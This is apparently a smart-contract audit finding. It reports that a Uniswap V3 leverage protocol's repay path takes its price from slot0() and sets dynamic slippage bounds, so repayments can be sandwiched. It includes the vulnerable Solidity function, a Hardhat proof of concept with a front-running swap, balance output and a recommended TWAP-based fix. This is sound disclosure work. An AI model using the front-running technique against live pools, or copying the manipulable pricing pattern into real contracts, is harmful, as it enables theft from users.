No slippage protection during repayment due to dynamic slippage params and easily influenced `slot0()`
The absence of slippage protection can be attributed to two key reasons. Firstly, the `sqrtPrice` is derived from `slot0()`, which can be easily manipulated:\\n```\\n     function _getCurrentSqrtPriceX96(\\n        bool zeroForA,\\n        address tokenA,\\n        address tokenB,\\n        uint24 fee\\n    ) private view returns (uint160 sqrtPriceX96) {\\n        if (!zeroForA) {\\n            (tokenA, tokenB) = (tokenB, tokenA);\\n        }\\n        address poolAddress = computePoolAddress(tokenA, tokenB, fee);\\n        (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); //@audit-issue can be easily manipulated\\n    }\\n```\\n\\nThe calculated `sqrtPriceX96` is used to determine the amounts for restoring liquidation and the number of holdTokens to be swapped for saleTokens:\\n```\\n(uint256 holdTokenAmountIn, uint256 amount0, uint256 amount1) = _getHoldTokenAmountIn(\\n                params.zeroForSaleToken,\\n                cache.tickLower,\\n                cache.tickUpper,\\n                cache.sqrtPriceX96,\\n                loan.liquidity,\\n                cache.holdTokenDebt\\n            );\\n```\\n\\nAfter that, the number of `SaleTokemAmountOut` is gained based on the sqrtPrice via QuoterV2.\\nThen, the slippage params are calculated `amountOutMinimum: (saleTokenAmountOut * params.slippageBP1000) / Constants.BPS })` However, the `saleTokenAmountOut` is a dynamic number calculated on the current state of the blockchain, based on the calculations mentioned above. This will lead to the situation that the swap will always satisfy the `amountOutMinimum`.\\nAs a result, if the repayment of the user is sandwiched (frontrunned), the profit of the repayer is decreased till the repayment satisfies the restored liquidity.\\nA Proof of Concept (PoC) demonstrates the issue with comments. Although the swap does not significantly impact a strongly founded pool, it does result in a loss of a few dollars for the repayer.\\n```\\n       let amountWBTC = ethers.utils.parseUnits("0.05", 8); //token0\\n        const deadline = (await time.latest()) + 60;\\n        const minLeverageDesired = 50;\\n        const maxCollateralWBTC = amountWBTC.div(minLeverageDesired);\\n\\n        const loans = [\\n            {\\n                liquidity: nftpos[3].liquidity,\\n                tokenId: nftpos[3].tokenId,\\n            },\\n        ];\\n\\n        const swapParams: ApproveSwapAndPay.SwapParamsStruct = {\\n            swapTarget: constants.AddressZero,\\n            swapAmountInDataIndex: 0,\\n            maxGasForCall: 0,\\n            swapData: swapData,\\n        };\\n\\nlet  params = {\\n            internalSwapPoolfee: 500,\\n            saleToken: WETH_ADDRESS,\\n            holdToken: WBTC_ADDRESS,\\n            minHoldTokenOut: amountWBTC,\\n            maxCollateral: maxCollateralWBTC,\\n            externalSwap: swapParams,\\n            loans: loans,\\n        };\\n\\nawait borrowingManager.connect(bob).borrow(params, deadline);\\n\\nconst borrowingKey = await borrowingManager.userBorrowingKeys(bob.address, 0);\\n        const swapParamsRep: ApproveSwapAndPay.SwapParamsStruct = {\\n            swapTarget: constants.AddressZero,\\n            swapAmountInDataIndex: 0,\\n            maxGasForCall: 0,\\n            swapData: swapData,\\n        };\\n\\n       \\n        amountWBTC = ethers.utils.parseUnits("0.06", 8); //token0\\n\\nlet swapping: ISwapRouter.ExactInputSingleParamsStruct = {\\n            tokenIn: WBTC_ADDRESS,\\n            tokenOut: WETH_ADDRESS,\\n            fee: 500,\\n            recipient: alice.address,\\n            deadline: deadline,\\n            amountIn: ethers.utils.parseUnits("100", 8),\\n            amountOutMinimum: 0,\\n            sqrtPriceLimitX96: 0\\n        };\\n        await router.connect(alice).exactInputSingle(swapping);\\n        console.log("Swap success");\\n\\n let paramsRep: LiquidityBorrowingManager.RepayParamsStruct = {\\n            isEmergency: false,\\n            internalSwapPoolfee: 500,\\n            externalSwap: swapParamsRep,\\n            borrowingKey: borrowingKey,\\n            swapSlippageBP1000: 990, //<=slippage simulated\\n        };\\n await borrowingManager.connect(bob).repay(paramsRep, deadline);\\n        // Without swap\\n// Balance of hold token after repay:  BigNumber { value: "993951415" }\\n// Balance of sale token after repay:  BigNumber { value: "99005137946252426108" }\\n// When swap\\n// Balance of hold token after repay:  BigNumber { value: "993951415" }\\n// Balance of sale token after repay:  BigNumber { value: "99000233164653177505" }\\n```\\n\\nThe following table shows difference of recieved sale token:\\nSwap before repay transaction Token Balance of user after Repay\\nNo WETH 99005137946252426108\\nYes WETH 99000233164653177505\\nThe difference in the profit after repayment is 4904781599248603 weis, which is at the current market price of around 8 USD. The profit loss will depend on the liquidity in the pool, which depends on the type of pool and related tokens.
To address this issue, avoid relying on slot0 and instead utilize Uniswap TWAP. Additionally, consider manually setting values for amountOutMin for swaps based on data acquired before repayment.
The absence of slippage protection results in potential profit loss for the repayer.
```\\n     function _getCurrentSqrtPriceX96(\\n        bool zeroForA,\\n        address tokenA,\\n        address tokenB,\\n        uint24 fee\\n    ) private view returns (uint160 sqrtPriceX96) {\\n        if (!zeroForA) {\\n            (tokenA, tokenB) = (tokenB, tokenA);\\n        }\\n        address poolAddress = computePoolAddress(tokenA, tokenB, fee);\\n        (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); //@audit-issue can be easily manipulated\\n    }\\n```\\n